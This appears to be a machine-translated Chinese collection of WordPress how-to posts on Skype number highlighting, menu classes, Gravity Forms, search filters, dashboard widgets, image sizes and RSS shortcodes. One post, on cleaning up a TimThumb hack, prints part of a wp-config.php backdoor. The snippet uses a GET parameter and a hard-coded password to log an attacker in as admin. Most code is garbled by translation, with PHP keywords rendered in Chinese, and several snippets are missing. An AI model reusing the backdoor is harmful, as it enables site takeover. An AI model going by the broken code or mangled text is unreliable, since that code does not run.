如何修复Skype覆盖WordPress主题中的电话号码

如果您的计算机上有Skype,您可能已经注意到有时Skype会在您访问网站时自动突出显示电话号码。 从WordPress开发者的角度来看,这可能是非常令人沮丧的。 它不仅可以使你的网站看起来不好,但它也可以搞乱布局。 事实上,最近我们有一个客户的页面一直在打破,因为Skype突出了他的电话号码。 解决这个问题不是很难。 你所要做的就是在HTML文档的头部添加一些代码,这样可以防止Skype突出显示主题中的数字,而不管它显示的浏览器是什么。 这是你应该粘贴的代码: 确保它在两者之间 和 标签。 对于那些只是想打开插件,然后下载我们的插件防止Skype覆盖。 我们希望这可以帮助您修复WordPress主题中的Skype覆盖电话号码。 如果您有任何问题或意见,请在下面留言。


使用条件语句在WordPress菜单项中添加自定义类

在大多数情况下,当设计WordPress导航菜单时,您可以简单地从WordPress管理面板添加CSS类。 最近在做项目的时候,我们发现自己处在一个麻烦的境地。 我们只想在单个帖子页面上添加一个自定义的类到一个特定的菜单项。 经过四处寻找,我们找不到任何解决办法。 我们的最后一招是在twitter上提问。 Otto(@ Otto42)回答说可以使用过滤器,但没有过滤器的文档。 看了一会儿之后,我们找出了解决办法。 你需要做的是将下面的代码粘贴到你的functions.php文件中: //在导航菜单项中过滤一个类 add_filter(’nav_menu_css_class’,’special_nav_class’,10,2); 函数special_nav_class($ classes,$ item){       if(is_single()&& $ item-> title ==’Blog’){               $ classes [] =’current-menu-item’;       }       返回$类; } 上面的代码只是检查它是否是一个单一的页面,菜单项标题是博客。 如果条件匹配,则添加一个“Current-menu-item”类。 我们需要添加一个自定义的类,以使其与我们正在开发的这个设计一起工作。 如果你不能说出来,基本上我们想要做的就是当用户在一个单一的职位上保持博客项目在菜单中突出显示。 这使他们能够看到单个帖子是博客的一部分。 这通常是没有道理的,但在我们正在设计的设计中,这确实是有道理的。 如果你是绝望的寻找这个代码,我们希望这篇文章帮助。 你也可以检查其他$ item变量。 一些例子是:$ item-> ID,$ item-> title,$ item-> xfn 快速编辑:在twitter上发布这篇文章之后,我们的一位用户@dbrabyn指出,我们可以用CSS Body类轻松实现这一点。 例如: .single #navigation .leftmenublog div {display:inline-block!important;} 基本上我们所做的是添加了一个额外的div来在我们的菜单上显示一个箭头图标。 … Read more 使用条件语句在WordPress菜单项中添加自定义类


如何使用Javascript弹出窗口来显示重力形式的错误消息

重力形式可能是最适合初学者的友好联系形式。 重力形式的最好的部分是它的可定制性。 它甚至允许高级用户对其功能进行更改。 在最近的一篇文章中,我们向您展示了如何在Gravity Forms中添加占位符文本。 在本文中,我们将向您展示如何自定义错误消息的显示方式。 要做到这一点打开你的functions.php文件并粘贴下面的代码: add_filter(’gform_validation_message’,’sw_gf_validation_message’,10,2); 函数sw_gf_validation_message($ validation_message){ add_action(’wp_footer’,’sw_gf_js_error’); } 函数sw_gf_js_error(){?> 您可以通过修改alert()函数内的内容来更改错误消息。 现在,每当有人忘记填写错误信息将显示在JavaScript弹出窗口,而不是在您的Gravity Forms上方。 积分:Brad Williams


如何修复和清理WordPress中的TimThumb Hack

所以如果你没有记错的话,8月份的TimThumb脚本存在安全问题。 然而,令我们惊讶的是,许多网站仍然使用旧版本。 在过去一个月里,我们已经确定了三个地点,一个是昨天。 因此,只需逐步撰写文章,这是有道理的,所以我们的用户可以随时关注它。 我们解决这个问题的所有三个用户甚至不知道TimThumb是什么,或者他们是否使用它。 TimThumb是一个调整图像大小的PHP脚本。 它有一个漏洞,但现在使用是安全的。 那么你怎么知道你的网站被黑了呢? 如果您在访问您的网站时在浏览器上看到红色大屏幕,请执行以下操作: 如果您开始受到关于用户从您的网站重定向的电子邮件轰炸。 最有可能的情况是,您的网站是这个漏洞的受害者。 作为一个谨慎的措施,每个人都应该使用这个Timthumb漏洞扫描器。 这会告诉你是否使用TimThumb的旧版本。 许多主题俱乐部立即升级了他们的核心。 所以这个插件会检查是否安装了Timthumb的新安全版本,或者安装了旧版本。 现在,如果你的网站已经陷入了这个Timthumb的攻击,那么这就是你需要做的。 首先你需要删除下列文件: /wp-admin/upd.php /wp-content/upd.php 登录WordPress管理面板并重新安装WordPress版本。 我们正在专门寻找重新安装这些文件: /wp-settings.php /wp-includes/js/jquery/jquery.js /wp-includes/js/110n.js 然后打开你的 WP-config.php文件 在那里你很可能会发现这个大的恶意软件代码,正在收集登录凭据和cookie。 这段代码将会走向底部。 if(isset($ _ GET [‘pingnow’])&& isset($ _ GET [‘pass’])){ if($ _GET [‘pass’] ==’19ca14e7ea6328a42e0eb13d585e4c22’){ if($ _GET [‘pingnow’] ==’login’){ $ user_login =’admin’; $ user = get_userdatabylogin($ user_login); $ user_id = … Read more 如何修复和清理WordPress中的TimThumb Hack


防止电子邮件垃圾邮件与WordPress反垃圾邮件功能

我们最近写了一篇关于如何使用Cryptx加密WordPress的电子邮件的文章。 和这个插件一样有用,实际上有另外一种方法可以做到不涉及任何插件。 我们的一个用户指向WordPress Codex。 虽然大多数人都不知道,但是在WordPress中有一个功能叫做 antispambot 。 这个功能基本上可以让你隐藏你的电子邮件地址,将每个字符转换为一个HTML实体。 所有你需要做的就是在你的主题中任何地方粘贴这样的代码: 不要忘了用自己的电子邮件来替换“[email protected]”,任何垃圾邮件机器人都不能找到它。 来源:WordPress的Codex


如何在WordPress中限制特定帖子类型的搜索结果

你有没有想过如何限制你的搜索结果到特定的帖子类型? 它不是很难。 我们已经向您展示了如何通过修改functions.php文件来禁用WordPress中的搜索功能。 现在我们要做同样的事情,除了过滤我们的搜索结果。 打开你的functions.php文件并添加下面的代码: 函数searchfilter($查询){      if($ query-> is_search &&!is_admin()){          $查询 – >集( ‘post_type’,阵列( ‘后’, ‘页面’));      } 返回$查询; } 的add_filter( ‘pre_get_posts’, ‘searchfilter’); 注意说的那一行 $查询 – >集( ‘post_type’,阵列( ‘后’, ‘页面’)); 您可以通过更改数组变量中的值来过滤搜索结果。 现在它被设置为显示文章和页面,但你可以修改它显示任何你想要的。


如何删除WordPress仪表板小部件

你曾经在一个需要你自定义WordPress管理面板的显示的项目吗? 那么顾问定制的第一件事情就是WordPress仪表盘。 我们向您展示了如何在WordPress中添加自定义仪表板小部件的快速示例。 在本文中,我们将向您展示如何删除WordPress仪表板小部件。 注意:如果你最终在本文中寻找如何去除仪表板小部件,那么你应该看看我们的文章:如何为初学者定制WordPress管理区(仪表板) 您只需将以下代码粘贴到主题的functions.php文件中即可。 尽管将这个文件保存为插件并将其作为插件插件可能是一个好主意。 函数remove_dashboard_widgets(){ 全球$ wp_meta_boxes; 未设置($ wp_meta_boxes [ ‘仪表盘’] [ ‘侧’] [ ‘核心’] [ ‘dashboard_quick_press’]); 未设置($ wp_meta_boxes [ ‘仪表盘’] [ ‘正常’] [ ‘核心’] [ ‘dashboard_incoming_links’]); 未设置($ wp_meta_boxes [ ‘仪表盘’] [ ‘正常’] [ ‘核心’] [ ‘dashboard_right_now’]); 未设置($ wp_meta_boxes [ ‘仪表盘’] [ ‘正常’] [ ‘核心’] [ ‘dashboard_plugins’]); 未设置($ wp_meta_boxes [ ‘仪表盘’] [ … Read more 如何删除WordPress仪表板小部件


如何在重力形式中添加占位符文本

如果你还不知道,重力形式到目前为止是最适合初学者的友好的WordPress联系表单插件。 我们使用它在我们的WordPress图库网站,WordPress优惠券网站,以及几乎所有的新客户。 最近,在客户的网站上工作时,我们不得不调整窗体的样式来匹配要求我们把占位符文本放在Gravity Forms中的设计。 不幸的是,令人惊讶的是,这个功能并不是内置于Gravity Forms(Yet)中的。 虽然他们可以在下拉字段和后置字段:类别中添加占位符文本,但是不能在输入字段和textarea字段中添加占位符。 这对我们来说成了一个巨大的问题。 我们通过重力表格支持区域进行搜索,唯一可用的解决方案是黑客,甚至没有正常工作。 虽然它允许我们把占位符文本,它有重大问题。 如果用户只是点击提交而不实际填充字段,表单将验证而不是返回错误。 经过好的搜索,我们最终找到了解决方案。 在本文中,我们将向您展示如何使用jQuery和Gravity表单过滤器在重力形式中添加占位符文本。 所以你可能想知道为什么我们需要占位符的文本标签在那里? 那么在我们正在设计的设计中,我们不能使用标签进行造型。 我们所要做的就是使用Gravity Forms过滤器添加一个函数,并使用jQuery来输出文本。 最后的代码 最后的代码如下。 你可以简单地复制并粘贴到你的functions.php文件中并使其工作。 但是如果你想了解更多关于这个功能以及它的工作方式,请继续阅读这篇文章。 也请继续阅读以了解如何在下拉字段中添加占位符文本。 占位符文本 占位符 输入该字段的占位符/默认文本。“>(?) 因此,我们必须做的第一件事是在管理面板中的重力形式字段下添加一个占位符值。 要做到这一点,你需要打开你的主题的functions.php文件并粘贴下面的代码: 占位符文本 占位符 输入该字段的占位符/默认文本。“>(?) 这个小功能将在您的Gravity Forms后端添加占位符文本字段。 示例屏幕截图如下: 现在我们已经在管理面板中添加了这个字段,您可以继续填写所需的文本。 下一步是实际显示实际表单上的文字。 要做到这一点,我们将利用jQuery。 你需要做的就是在你的主题的functions.php文件中粘贴以下代码: / *我们使用jQuery来读取占位符值并将其注入到其字段* / add_action(’gform_enqueue_scripts’,“my_gform_enqueue_scripts”,10,2); 函数my_gform_enqueue_scripts($ form,$ is_ajax = false){ ?> 这将输出占位符文本输入字段和textarea字段,并保持验证。 现在我们已经介绍了这一点,我们仍然需要在我们的下拉字段中添加占位符文本,这个小片段并不适合我们。 谢天谢地,Gravity Forms默认是内置的。 在重力形式下拉字段中添加占位符文本 所有你真正需要做的是创建一个空白值的标签。 是的,当我们第一次听到的时候,这听起来令人困惑。 但事实并非如此。 … Read more 如何在重力形式中添加占位符文本


如何在WordPress中创建更多的图片大小

上个月,在名为TimThumb的着名图像调整脚本中出现了一个巨大的漏洞。 自那时以来,社区已经合作并解决了这个问题。 虽然TimThumb是一个可行的选择,但我们相信WordPress主题开发者应该专注于使用核心功能而不是依靠第三方脚本。 在这篇文章中,我们将向您展示如何在WordPress中添加额外的图片大小。 WordPress有一个内置的功能张贴缩略图又名精选图像。 还有一个内置函数add_image_size(),它可以让你指定图像的大小,并给你选择裁剪。 在主题中使用这些核心功能基本上可以在大多数情况下消除像TimThumb这样的第三方脚本的需要。 注册您的主题的其他图像大小 您将需要通过将以下代码添加到主题的functions.php文件中来添加对帖子缩略图的支持: add_theme_support(’post-thumbnails’); 启用对帖子缩略图的支持后,现在可以使用功能add_image_size()注册其他图像大小的功能。 add_image_size函数的用法如下:add_image_size(’name-of-size’,width,height,crop mode); 示例代码可能如下所示: add_image_size(’sidebar-thumb’,120,120,true); //硬裁切模式 add_image_size(’homepage-thumb’,220,180); //软裁切模式 add_image_size(’singlepost-thumb’,590,9999); //无限高度模式 现在如果你注意到,我们已经指定了三种不同的图像大小。 每个人都有不同的模式,如艰苦的庄稼,柔软的作物,和无限的高度。 因此,让我们介绍每个示例,以及如何使用它们以获得您的好处。 硬作物模式 – 正如你注意到的那样,在高度之后增加了一个“真实”值。 这真正的价值是告诉WordPress将图像裁剪为我们定义的大小(在这种情况下为120 x 120像素)。 这是我们在主题设计中使用很多的方法,以确保一切都是相称的,我们的设计没有打破。 根据尺寸的不同,该功能会自动从侧面或从顶部和底部裁剪图像。 硬裁剪的缺点是你无法控制图像的哪一部分被显示 。 Mike Little进行更正 – 当您上传图片后,在插入图片之前,您可以点击“编辑图片”,然后从那里更改缩略图或整个图片,缩放,旋转或翻转图像,缩略图 选择你想要的图像的确切部分。 软裁切模式 – 默认情况下,软裁剪模式打开,这就是为什么你看不到任何额外的价值增加后的高度。 该方法按比例调整图像的大小,而不会扭曲图像。 所以你可能不会得到你想要的尺寸。 通常它与宽度尺寸相匹配,高度根据每个图像的比例而不同。 示例显示如下所示: 无限高度模式 – 有些时候,你有超长的图像,你想在你的设计中使用,但你想确保宽度是有限的。 我们发现这种图像大小的主要用途是在信息图表上。 信息图往往是非常漫长而充满信息的。 在单个页面上裁剪这样的图像并不是一个好主意。 但天生信息图表比内容宽度更宽。 所以你可以做的是指定一个宽度,不会打破你的设计,而高度是无限的,所以所有的信息图可以没有任何失真地显示。 示例显示如下所示: 在您的WordPress主题中显示其他图片大小 … Read more 如何在WordPress中创建更多的图片大小


如何通过简码在WordPress文章中嵌入外部RSS源

你有没有看过像25个最好的XYZ网站的展示? 通常这些教程有网站名称,网站截图,一个小的描述,以及最近的帖子列表。 这些帖子的主要问题是最近的帖子列表,超时加班,因为大多数作者在写作时手动创建这些链接。 这个帖子真的过时了,其他网站中的任何一个发布了新的帖子。 那么在本文中,我们将向您展示如何通过短代码在WordPress帖子中嵌入外部RSS订阅源,以便您可以保持列表文章的相关性。 首先你需要做的是打开你的主题 的functions.php 文件并粘贴以下代码: //这个文件需要能够使用wp_rss()函数。 include_once(ABSPATH.WPINC ‘/ rss.php’); 函数readRss($ atts){      提取物(shortcode_atts(阵列( “feed”=>’http://’,        “num”=>“1”,      ),$ atts));      返回wp_rss($ feed,$ num); } add_shortcode(’rss’,’readRss’); 现在你所要做的就是在写一篇文章时使用这个简码: [rss feed =“http://feeds.feedburner.com/site”num =“5”] 确保您将简码中的供稿网址更改为所需内容。 您也可以根据自己的喜好调整数量。 来源:粉碎杂志